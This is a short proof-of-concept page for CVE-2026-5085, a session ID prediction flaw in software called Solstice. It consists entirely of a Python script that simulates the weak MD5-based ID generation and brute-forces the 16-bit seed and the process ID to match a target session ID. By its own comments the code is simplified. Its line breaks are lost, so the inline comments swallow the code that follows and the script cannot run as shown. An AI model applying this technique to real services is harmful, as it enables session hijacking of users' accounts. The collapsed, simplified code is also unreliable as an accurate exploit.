CVE-2026-5085: Solstice Session ID预测漏洞

#!/usr/bin/env python3 # PoC to demonstrate predicting Session ID by brute-forcing the 16-bit rand seed import hashlib import time def simulate_vulnerable_generation(epoch, pid, seed): # Simulate the weak randomness described in the CVE # Note: Hash ref content is predictable in context, simplified here as a constant string hash_ref_content = "Solstice::Hash=SCALAR(0x12345678)" # Simulate rand() with 16-bit seed (simplified logic for demonstration) pseudo_random = str((seed * 1103515245 + 12345) & 0x7FFF) data = f"{epoch}{hash_ref_content}{pseudo_random}{pid}" return hashlib.md5(data.encode()).hexdigest() def attack(target_session_id, epoch, pid_range): print(f"[*] Brute-forcing seed for Session ID: {target_session_id}") # Brute force the 16-bit seed space (0-65535) for pid in pid_range: for seed in range(65536): predicted = simulate_vulnerable_generation(epoch, pid, seed) if predicted == target_session_id: print(f"[+] Found match! PID: {pid}, Seed: {seed}") return True print("[-] Match not found.") return False # Example Usage if __name__ == "__main__": # Assume we know the timestamp (leaked via HTTP Date) and approximate PID current_time = int(time.time()) target = "5d41402abc4b2a76b9719d911017c592" # Example hash attack(target, current_time, range(1, 1000))